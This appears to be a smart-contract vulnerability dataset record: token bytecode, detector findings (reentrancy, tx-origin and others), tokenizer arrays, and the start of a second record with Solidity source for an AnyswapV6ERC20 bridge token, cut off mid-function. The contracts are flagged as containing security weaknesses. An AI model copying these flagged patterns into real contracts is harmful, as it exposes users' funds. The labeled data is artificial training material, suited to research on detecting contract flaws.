000000000000000000000000000000000000000000000000000815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610cb5565b670de0b6b3a76400006103e8611bad60025490565b611bb8906005613fac565b611bc29190613fe9565b611bcc9190613fe9565b811015611c5a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152602060048201526024808201527f43616e6e6f7420736574206d617857616c6c6574206c6f776572207468616e2060448201527f302e3525000000000000000000000000000000000000000000000000000000006064820152608401610cb5565b611c6c81670de0b6b3a7640000613fac565b600a5550565b60055460009073ffffffffffffffffffffffffffffffffffffffff163314611cf6576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610cb5565b620186a0611d0360025490565b611d0e906001613fac565b611d189190613fe9565b821015611da7576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152603560248201527f5377617020616d6f756e742063616e6e6f74206265206c6f776572207468616e60448201527f20302e3030312520746f74616c20737570706c792e00000000000000000000006064820152608401610cb5565b6103e8611db360025490565b611dbe906005613fac565b611dc89190613fe9565b821115611e57576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152603460248201527f5377617020616d6f756e742063616e6e6f74206265206869676865722074686160448201527f6e20302e352520746f74616c20737570706c792e0000000000000000000000006064820152608401610cb5565b50600981905560015b919050565b60055460009073ffffffffffffffffffffffffffffffffffffffff163314611ee9576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610cb5565b50601380547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff00169055600190565b60055473ffffffffffffffffffffffffffffffffffffffff163314611f98576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610cb5565b73ffffffffffffffffffffffffffffffffffffffff811661203b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201527f64647265737300000000000000000000000000000000000000000000000000006064820152608401610cb5565b612044816131dd565b50565b60055460009073ffffffffffffffffffffffffffffffffffffffff1633146120cb576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610cb5565b600f546010546120db9190614024565b4211612143576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820181905260248201527f4d757374207761697420666f7220636f6f6c646f776e20746f2066696e6973686044820152606401610cb5565b6103e88211156121d5576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152602a60248201527f4d6179206e6f74206e756b65206d6f7265207468616e20313025206f6620746f60448201527f6b656e7320696e204c50000000000000000000000000000000000000000000006064820152608401610cb5565b426010556040517f70a0823100000000000000000000000000000000000000000000000000000000815273ffffffffffffffffffffffffffffffffffffffff7f00000000000000000000000064ccc376d865023b2bc78a3acc34e1e8db2b6d8216600482015260009030906370a0823190602401602060405180830381865afa158015612266573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061228a919061403c565b905060006122a461271061229e84876132d3565b906132e6565b905080156122d9576122d97f00000000000000000000000064ccc376d865023b2bc78a3acc34e1e8db2b6d8261dead836132f2565b60007f00000000000000000000000064ccc376d865023b2bc78a3acc34e1e8db2b6d8290508073ffffffffffffffffffffffffffffffffffffffff1663fff6cae96040518163ffffffff1660e01b8152600401600060405180830381600087803b15801561234657600080fd5b505af115801561235a573d6000803e3d6000fd5b50506040517f8462566617872a3fbab94534675218431ff9e204063ee3f4f43d965626a39abb925060009150a1506001949350505050565b73ffffffffffffffffffffffffffffffffffffffff8316612434576040517f08c379a0000000000000000000000000000000000000000000000000000000008152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460448201527f72657373000000000000000000000000000000000000000000000000000000006064820152608401610cb5565b73ffffffffffffffffffffffffffffffffffffffff82166124d7576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f20616464726560448201527f73730000000000000000000000000000000000000000000000000000000000006064820152608401610cb5565b73ffffffffffffffffffffffffffffffffffffffff83811660008181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b73ffffffffffffffffffffffffffffffffffffffff83166125e8576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f20616460448201527f64726573730000000000000000000000000000000000000000000000000000006064820152608401610cb5565b73ffffffffffffffffffffffffffffffffffffffff821661268b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201527f65737300000000000000000000000000000000000000000000000000000000006064820152608401610cb5565b806126a15761269c838360006132f2565b505050565b60115460ff1615612d305760055473ffffffffffffffffffffffffffffffffffffffff8481169116148015906126f2575060055473ffffffffffffffffffffffffffffffffffffffff838116911614155b8015612713575073ffffffffffffffffffffffffffffffffffffffff821615155b8015612737575073ffffffffffffffffffffffffffffffffffffffff821661dead14155b801561275e575060055474010000000000000000000000000000000000000000900460ff16155b15612d3057601154610100900460ff166128315773ffffffffffffffffffffffffffffffffffffffff83166000908152601f602052604090205460ff16806127cb575073ffffffffffffffffffffffffffffffffffffffff82166000908152601f602052604090205460ff165b612831576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601660248201527f54726164696e67206973206e6f74206163746976652e000000000000000000006044820152606401610cb5565b60135460ff16156129e75760055473ffffffffffffffffffffffffffffffffffffffff8381169116148015906128b357507f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b801561290b57507f00000000000000000000000064ccc376d865023b2bc78a3acc34e1e8db2b6d8273ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b156129e7573260009081526012602052604090205443116129d4576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152604960248201527f5f7472616e736665723a3a205472616e736665722044656c617920656e61626c60448201527f65642e20204f6e6c79206f6e652070757263686173652070657220626c6f636b60648201527f20616c6c6f7765642e0000000000000000000000000000000000000000000000608482015260a401610cb5565b3260009081526012602052604090204390555b73ffffffffffffffffffffffffffffffffffffffff831660009081526021602052604090205460ff168015612a41575073ffffffffffffffffffffffffffffffffffffffff8216600090815260208052604090205460ff16155b15612b7857600854811115612ad8576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152603560248201527f427579207472616e7366657220616d6f756e742065786365656473207468652060448201527f6d61785472616e73616374696f6e416d6f756e742e00000000000000000000006064820152608401610cb5565b600a5473ffffffffffffffffffffffffffffffffffffffff8316600090815260208190526040902054612b0b9083614024565b1115612b73576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601360248201527f4d61782077616c6c6574206578636565646564000000000000000000000000006044820152606401610cb5565b612d30565b73ffffffffffffffffffffffffffffffffffffffff821660009081526021602052604090205460ff168015612bd2575073ffffffffffffffffffffffffffffffffffffffff8316600090815260208052604090205460ff16155b15612c6957600854811115612b73576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152603660248201527f53656c6c207472616e7366657220616d6f756e7420657863656564732074686560448201527f206d61785472616e73616374696f6e416d6f756e742e000000000000000000006064820152608401610cb5565b73ffffffffffffffffffffffffffffffffffffffff8216600090815260208052604090205460ff16612d3057600a5473ffffffffffffffffffffffffffffffffffffffff8316600090815260208190526040902054612cc89083614024565b1115612d30576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601360248201527f4d61782077616c6c6574206578636565646564000000000000000000000000006044820152606401610cb5565b3060009081526020819052604090205460095481108015908190612d5c575060115462010000900460ff165b8015612d83575060055474010000000000000000000000000000000000000000900460ff16155b8015612db5575073ffffffffffffffffffffffffffffffffffffffff851660009081526021602052604090205460ff16155b8015612de7575073ffffffffffffffffffffffffffffffffffffffff85166000908152601f602052604090205460ff16155b8015612e19575073ffffffffffffffffffffffffffffffffffffffff84166000908152601f602052604090205460ff16155b15612e8e57600580547fffffffffffffffffffffff00ffffffffffffffffffffffffffffffffffffffff1674010000000000000000000000000000000000000000179055612e656135a6565b600580547fffffffffffffffffffffff00ffffffffffffffffffffffffffffffffffffffff1690555b60055474010000000000000000000000000000000000000000900460ff16158015612ede575073ffffffffffffffffffffffffffffffffffffffff841660009081526021602052604090205460ff165b8015612eec5750600c5460ff165b8015612f075750600d54600e54612f039190614024565b4210155b8015612f39575073ffffffffffffffffffffffffffffffffffffffff85166000908152601f602052604090205460ff16155b15612f4857612f466137fa565b505b60055473ffffffffffffffffffffffffffffffffffffffff86166000908152601f602052604090205460ff74010000000000000000000000000000000000000000909204821615911680612fc1575073ffffffffffffffffffffffffffffffffffffffff85166000908152601f602052604090205460ff165b15612fca575060005b600081156131c95773ffffffffffffffffffffffffffffffffffffffff861660009081526021602052604090205460ff16801561300957506000601854115b156130c157613028606461229e601854886132d390919063ffffffff16565b9050601854601a548261303b9190613fac565b6130459190613fe9565b601d60008282546130569190614024565b9091555050601854601b5461306b9083613fac565b6130759190613fe9565b601e60008282546130869190614024565b909155505060185460195461309b9083613fac565b6130a59190613fe9565b601c60008282546130b69190614024565b909155506131ab9050565b73ffffffffffffffffffffffffffffffffffffffff871660009081526021602052604090205460ff1680156130f857506000601454115b156131ab57613117606461229e601454886132d390919063ffffffff16565b90506014546016548261312a9190613fac565b6131349190613fe9565b601d60008282546131459190614024565b909155505060145460175461315a9083613fac565b6131649190613fe9565b601e60008282546131759190614024565b909155505060145460155461318a9083613fac565b6131949190613fe9565b601c60008282546131a59190614024565b90915550505b80156131bc576131bc8730836132f2565b6131c68186614055565b94505b6131d48787876132f2565b50505050505050565b6005805473ffffffffffffffffffffffffffffffffffffffff8381167fffffffffffffffffffffffff0000000000000000000000000000000000000000831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b73ffffffffffffffffffffffffffffffffffffffff821660008181526021602052604080822080547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff001685151590811790915590519092917fffa9187bf1f18bf477bd0ea1bcbb64e93b6a98132473929edfce215cd9b16fab91a35050565b60006132df8284613fac565b9392505050565b60006132df8284613fe9565b73ffffffffffffffffffffffffffffffffffffffff8316613395576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f20616460448201527f64726573730000000000000000000000000000000000000000000000000000006064820152608401610cb5565b73ffffffffffffffffffffffffffffffffffffffff8216613438576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201527f65737300000000000000000000000000000000000000000000000000000000006064820152608401610cb5565b73ffffffffffffffffffffffffffffffffffffffff8316600090815260208190526040902054818110156134ee576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e742065786365656473206260448201527f616c616e636500000000000000000000000000000000000000000000000000006064820152608401610cb5565b73ffffffffffffffffffffffffffffffffffffffff808516600090815260208190526040808220858503905591851681529081208054849290613532908490614024565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161359891815260200190565b60405180910390a350505050565b3060009081526020819052604081205490506000601e54601c54601d546135cd9190614024565b6135d79190614024565b905060008215806135e6575081155b156135f057505050565b6009546135fe906014613fac565b83111561361657600954613613906014613fac565b92505b6000600283601d54866136299190613fac565b6136339190613fe9565b61363d9190613fe9565b9050600061364b85836139bd565b905047613657826139c9565b600061366347836139bd565b905060006136808761229e601c54856132d390919063ffffffff16565b9050600061369d8861229e601e54866132d390919063ffffffff16565b90506000816136ac8486614055565b6136b69190614055565b6000601d819055601c819055601e81905560075460405192935073ffffffffffffffffffffffffffffffffffffffff1691849181818185875af1925050503d8060008114613720576040519150601f19603f3d011682016040523d82523d6000602084013e613725565b606091505b509098505086158015906137395750600081115b1561378c576137488782613bf0565b601d54604080518881526020810184905280820192909252517f17bbfb9a6069321b6ded73bd96327c9e6b7212a5cd51ff219cd61370acafb5619181900360600190a15b60065460405173ffffffffffffffffffffffffffffffffffffffff909116904790600081818185875af1925050503d80600081146137e6576040519150601f19603f3d011682016040523d82523d6000602084013e6137eb565b606091505b50505050505050505050505050565b42600e556040517f70a0823100000000000000000000000000000000000000000000000000000000815273ffffffffffffffffffffffffffffffffffffffff7f00000000000000000000000064ccc376d865023b2bc78a3acc34e1e8db2b6d82166004820152600090819030906370a0823190602401602060405180830381865afa15801561388d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906138b1919061403c565b905060006138d061271061229e600b54856132d390919063ffffffff16565b90508015613905576139057f00000000000000000000000064ccc376d865023b2bc78a3acc34e1e8db2b6d8261dead836132f2565b60007f00000000000000000000000064ccc376d865023b2bc78a3acc34e1e8db2b6d8290508073ffffffffffffffffffffffffffffffffffffffff1663fff6cae96040518163ffffffff1660e01b8152600401600060405180830381600087803b15801561397257600080fd5b505af1158015613986573d6000803e3d6000fd5b50506040517f454c91ae84fcc766ddda0dcb289f26b3d0176efeacf4061fc219fa6ca8c3048d925060009150a16001935050505090565b60006132df8284614055565b60408051600280825260608201835260009260208301908036833701905050905030816000815181106139fe576139fe61406c565b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250507f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015613aa3573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190613ac7919061409b565b81600181518110613ada57613ada61406c565b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050613b3f307f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d84612392565b6040517f791ac94700000000000000000000000000000000000000000000000000000000815273ffffffffffffffffffffffffffffffffffffffff7f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d169063791ac94790613bba9085906000908690309042906004016140b8565b600060405180830381600087803b158015613bd457600080fd5b505af1158015613be8573d6000803e3d6000fd5b505050505050565b613c1b307f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d84612392565b6040517ff305d71900000000000000000000000000000000000000000000000000000000815230600482015260248101839052600060448201819052606482015261dead60848201524260a48201527f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff169063f305d71990839060c40160606040518083038185885af1158015613ccb573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190613cf09190614143565b5050505050565b600060208083528351808285015260005b81811015613d2457858101830151858201604001528201613d08565b81811115613d36576000604083870101525b50601f017fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe016929092016040019392505050565b73ffffffffffffffffffffffffffffffffffffffff8116811461204457600080fd5b60008060408385031215613d9f57600080fd5b8235613daa81613d6a565b946020939093013593505050565b600060208284031215613dca57600080fd5b81356132df81613d6a565b600060208284031215613de757600080fd5b5035919050565b600080600060608486031215613e0357600080fd5b8335613e0e81613d6a565b92506020840135613e1e81613d6a565b929592945050506040919091013590565b80358015158114611e6057600080fd5b600080600060608486031215613e5457600080fd5b8335925060208401359150613e6b60408501613e2f565b90509250925092565b60008060408385031215613e8757600080fd5b8235613e9281613d6a565b9150613ea060208401613e2f565b90509250929050565b600080600060608486031215613ebe57600080fd5b505081359360208301359350604090920135919050565b600060208284031215613ee757600080fd5b6132df82613e2f565b60008060408385031215613f0357600080fd5b8235613f0e81613d6a565b91506020830135613f1e81613d6a565b809150509250929050565b600181811c90821680613f3d57607f821691505b60208210811415613f77577f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615613fe457613fe4613f7d565b500290565b60008261401f577f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b500490565b6000821982111561403757614037613f7d565b500190565b60006020828403121561404e57600080fd5b5051919050565b60008282101561406757614067613f7d565b500390565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6000602082840312156140ad57600080fd5b81516132df81613d6a565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b8181101561411557845173ffffffffffffffffffffffffffffffffffffffff16835293830193918301916001016140e3565b505073ffffffffffffffffffffffffffffffffffffffff969096166060850152505050608001529392505050565b60008060006060848603121561415857600080fd5b835192506020840151915060408401519050925092509256fea2646970667358221220ac1b0967ef7d702544898aa3e1b315647a3ece3a1f3140adc609bebecd84466664736f6c634300080a0033
{"success": true, "error": null, "results": {"detectors": [{"check": "tx-origin", "impact": "Medium", "confidence": "Medium"}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "tautology", "impact": "Medium", "confidence": "High"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'tx-origin', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'divide-before-multiply', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'reentrancy-no-eth', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'tautology', 'impact': 'Medium', 'confidence': 'High'}, {'check': 'incorrect-equality', 'impact': 'Medium', 'confidence': 'High'}, {'check': 'reentrancy-eth', 'impact': 'High', 'confidence': 'Medium'}, {'check': 'unused-return', 'impact': 'Medium', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 2629, 16409, 2546, 2581, 2549, 2063, 24434, 2050, 2581, 2094, 2575, 2620, 19797, 21619, 2629, 16409, 24087, 2620, 2050, 2575, 2683, 2278, 12376, 2509, 2497, 2094, 2575, 21486, 2509, 10322, 1013, 1008, 1008, 1008, 7864, 2005, 22616, 2012, 28855, 29378, 1012, 22834, 2006, 16798, 2475, 1011, 6185, 1011, 5511, 1008, 1013, 1013, 1013, 16770, 1024, 1013, 1013, 1056, 1012, 2033, 1013, 3336, 7849, 7377, 3363, 3217, 5289, 4765, 2854, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 10210, 10975, 8490, 2863, 5024, 3012, 1027, 1014, 1012, 1022, 1012, 2184, 1028, 1027, 1014, 1012, 1022, 1012, 2184, 1028, 1027, 1014, 1012, 1022, 1012, 1014, 1026, 1014, 1012, 1023, 1012, 1014, 1025, 10975, 8490, 2863, 6388, 11113, 9013, 16044, 2099, 2615, 2475, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
58,875
0x95dd59343a893637be1c3228060ee6afbf6f0730
/** *Submitted for verification at snowtrace.io on 2022-02-11 */ /** *Submitted for verification at snowtrace.io on 2022-02-11 */ /** *Submitted for verification at snowtrace.io on 2022-02-10 */ // SPDX-License-Identifier: GPL-3.0-or-later pragma solidity ^0.8.2; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { function totalSupply() external view returns (uint256); function decimals() external view returns (uint8); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @dev Interface of the ERC2612 standard as defined in the EIP. * * Adds the {permit} method, which can be used to change one's * {IERC20-allowance} without having to send a transaction, by signing a * message. This allows users to spend tokens without having to hold Ether. * * See https://eips.ethereum.org/EIPS/eip-2612. */ interface IERC2612 { /** * @dev Returns the current ERC2612 nonce for `owner`. This value must be * included whenever a signature is generated for {permit}. * * Every successful call to {permit} increases ``owner``'s nonce by one. This * prevents a signature from being used multiple times. */ function nonces(address owner) external view returns (uint256); function permit(address target, address spender, uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s) external; function transferWithPermit(address target, address to, uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s) external returns (bool); } /// @dev Wrapped ERC-20 v10 (AnyswapV3ERC20) is an ERC-20 ERC-20 wrapper. You can `deposit` ERC-20 and obtain an AnyswapV3ERC20 balance which can then be operated as an ERC-20 token. You can /// `withdraw` ERC-20 from AnyswapV3ERC20, which will then burn AnyswapV3ERC20 token in your wallet. The amount of AnyswapV3ERC20 token in any wallet is always identical to the /// balance of ERC-20 deposited minus the ERC-20 withdrawn with that specific wallet. interface IAnyswapV3ERC20 is IERC20, IERC2612 { /// @dev Sets `value` as allowance of `spender` account over caller account's AnyswapV3ERC20 token, /// after which a call is executed to an ERC677-compliant contract with the `data` parameter. /// Emits {Approval} event. /// Returns boolean value indicating whether operation succeeded. /// For more information on approveAndCall format, see https://github.com/ethereum/EIPs/issues/677. function approveAndCall(address spender, uint256 value, bytes calldata data) external returns (bool); /// @dev Moves `value` AnyswapV3ERC20 token from caller's account to account (`to`), /// after which a call is executed to an ERC677-compliant contract with the `data` parameter. /// A transfer to `address(0)` triggers an ERC-20 withdraw matching the sent AnyswapV3ERC20 token in favor of caller. /// Emits {Transfer} event. /// Returns boolean value indicating whether operation succeeded. /// Requirements: /// - caller account must have at least `value` AnyswapV3ERC20 token. /// For more information on transferAndCall format, see https://github.com/ethereum/EIPs/issues/677. function transferAndCall(address to, uint value, bytes calldata data) external returns (bool); } interface ITransferReceiver { function onTokenTransfer(address, uint, bytes calldata) external returns (bool); } interface IApprovalReceiver { function onTokenApproval(address, uint, bytes calldata) external returns (bool); } library Address { function isContract(address account) internal view returns (bool) { bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != 0x0 && codehash != accountHash); } } library SafeERC20 { using Address for address; function safeTransfer(IERC20 token, address to, uint value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } function safeApprove(IERC20 token, address spender, uint value) internal { require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function callOptionalReturn(IERC20 token, bytes memory data) private { require(address(token).isContract(), "SafeERC20: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = address(token).call(data); require(success, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } contract AnyswapV6ERC20 is IAnyswapV3ERC20 { using SafeERC20 for IERC20; string public name; string public symbol; uint8 public immutable override decimals; address public immutable underlying; bytes32 public constant PERMIT_TYPEHASH = keccak256("Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)"); bytes32 public constant TRANSFER_TYPEHASH = keccak256("Transfer(address owner,address to,uint256 value,uint256 nonce,uint256 deadline)"); bytes32 public immutable DOMAIN_SEPARATOR; /// @dev Records amount of AnyswapV3ERC20 token owned by account. mapping (address => uint256) public override balanceOf; uint256 private _totalSupply; // init flag for setting immediate vault, needed for CREATE2 support bool private _init; // flag to enable/disable swapout vs vault.burn so multiple events are triggered bool private _vaultOnly; // configurable delay for timelock functions uint public delay = 2*24*3600; // set of minters, can be this bridge or other bridges mapping(address => bool) public isMinter; address[] public minters; // primary controller of the token contract address public vault; address public pendingMinter; uint public delayMinter; address public pendingVault; uint public delayVault; modifier onlyAuth() { require(isMinter[msg.sender], "AnyswapV4ERC20: FORBIDDEN"); _; } modifier onlyVault() { require(msg.sender == mpc(), "AnyswapV3ERC20: FORBIDDEN"); _; } function owner() public view returns (address) { return mpc(); } function mpc() public view returns (address) { if (block.timestamp >= delayVault) { return pendingVault; } return vault; } function setVaultOnly(bool enabled) external onlyVault { _vaultOnly = enabled; } function initVault(address _vault) external onlyVault { require(_init); vault = _vault; pendingVault = _vault; isMinter[_vault] = true; minters.push(_vault); delayVault = block.timestamp; _init = false; } function setVault(address _vault) external onlyVault { require(_vault != address(0), "AnyswapV3ERC20: address(0x0)"); pendingVault = _vault; delayVault = block.timestamp + delay; } function applyVault() external onlyVault { require(block.timestamp >= delayVault); vault = pendingVault; } function setMinter(address _auth) external onlyVault { require(_auth != address(0), "AnyswapV3ERC20: address(0x0)"); pendingMinter = _auth; delayMinter = block.timestamp + delay; } function applyMinter() external onlyVault { require(block.timestamp >= delayMinter); isMinter[pendingMinter] = true; minters.push(pendingMinter); } // No time delay revoke minter emergency function function revokeMinter(address _auth) external onlyVault { isMinter[_auth] = false; } function getAllMinters() external view returns (address[] memory) { return minters; } function changeVault(address newVault) external onlyVault returns (bool) { require(newVault != address(0), "AnyswapV3ERC20: address(0x0)"); vault = newVault; pendingVault = newVault; emit LogChangeVault(vault, pendingVault, block.timestamp); return true; } function mint(address to, uint256 amount) external onlyAuth returns (bool) { _mint(to, amount); return true; } function burn(address from, uint256 amount) external onlyAuth returns (bool) { require(from != address(0), "AnyswapV3ERC20: address(0x0)"); _burn(from, amount); return true; } function Swapin(bytes32 txhash, address account, uint256 amount) public onlyAuth returns (bool) { _mint(account, amount); emit LogSwapin(txhash, account, amount); return true; } function Swapout(uint256 amount, address bindaddr) public returns (bool) { require(!_vaultOnly, "AnyswapV4ERC20: onlyAuth"); require(bindaddr != address(0), "AnyswapV3ERC20: address(0x0)"); _burn(msg.sender, amount); emit LogSwapout(msg.sender, bindaddr, amount); return true; } /// @dev Records current ERC2612 nonce for account. This value must be included whenever signature is generated for {permit}. /// Every successful call to {permit} increases account's nonce by one. This prevents signature from being used multiple times. mapping (address => uint256) public override nonces; /// @dev Records number of AnyswapV3ERC20 token that account (second) will be allowed to spend on behalf of another account (first) through {transferFrom}. mapping (address => mapping (address => uint256)) public override allowance; event LogChangeVault(address indexed oldVault, address indexed newVault, uint indexed effectiveTime); event LogSwapin(bytes32 indexed txhash, address indexed account, uint amount); event LogSwapout(address indexed account, address indexed bindaddr, uint amount); constructor(string memory _name, string memory _symbol, uint8 _decimals, address _underlying, address _vault) { name = _name; symbol = _symbol; decimals = _decimals; underlying = _underlying; if (_underlying != address(0x0)) { require(_decimals == IERC20(_underlying).decimals()); } // Use init to allow for CREATE2 accross all chains _init = true; // Disable/Enable swapout for v1 tokens vs mint/burn for v3 tokens _vaultOnly = false; vault = _vault; pendingVault = _vault; delayVault = block.timestamp; uint256 chainId; assembly {chainId := chainid()} DOMAIN_SEPARATOR = keccak256( abi.encode( keccak256("EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)"), keccak256(bytes(name)), keccak256(bytes("1")), chainId, address(this))); } /// @dev Returns the total supply of AnyswapV3ERC20 token as the ETH held in this contract. function totalSupply() external view override returns (uint256) { return _totalSupply; } function deposit() external returns (uint) { uint _amount = IERC20(underlying).balanceOf(msg.sender); IERC20(underlying).safeTransferFrom(msg.sender, address(this), _amount); return _deposit(_amount, msg.sender); } function deposit(uint amount) external returns (uint) { IERC20(underlying).safeTransferFrom(msg.sender, address(this), amount); return _deposit(amount, msg.sender); } function deposit(uint amount, address to) external returns (uint) { IERC20(underlying).safeTransferFrom(msg.sender, address(this), amount); return _deposit(amount, to); } function depositVault(uint amount, address to) external onlyVault returns (uint) { return _deposit(amount, to); } function _deposit(uint amount, address to) internal returns (uint) { require(underlying != address(0x0) && underlying != address(this)); _mint(to, amount); return amount; } function withdraw() external returns (uint) { return _withdraw(msg.sender, balanceOf[msg.sender], msg.sender); } function withdraw(uint amount) external returns (uint) { return _withdraw(msg.sender, amount, msg.sender); } function withdraw(uint amount, address to) external returns (uint) { return _withdraw(msg.sender, amount, to); } function withdrawVault(address from, uint amount, address to) external onlyVault returns (uint) { return _withdraw(from, amount, to); } function _withdraw(address from, uint amount, address to) internal returns (uint) { _burn(from, amount); IERC20(underlying).safeTransfer(to, amount); return amount; } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) internal { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply += amount; balanceOf[account] += 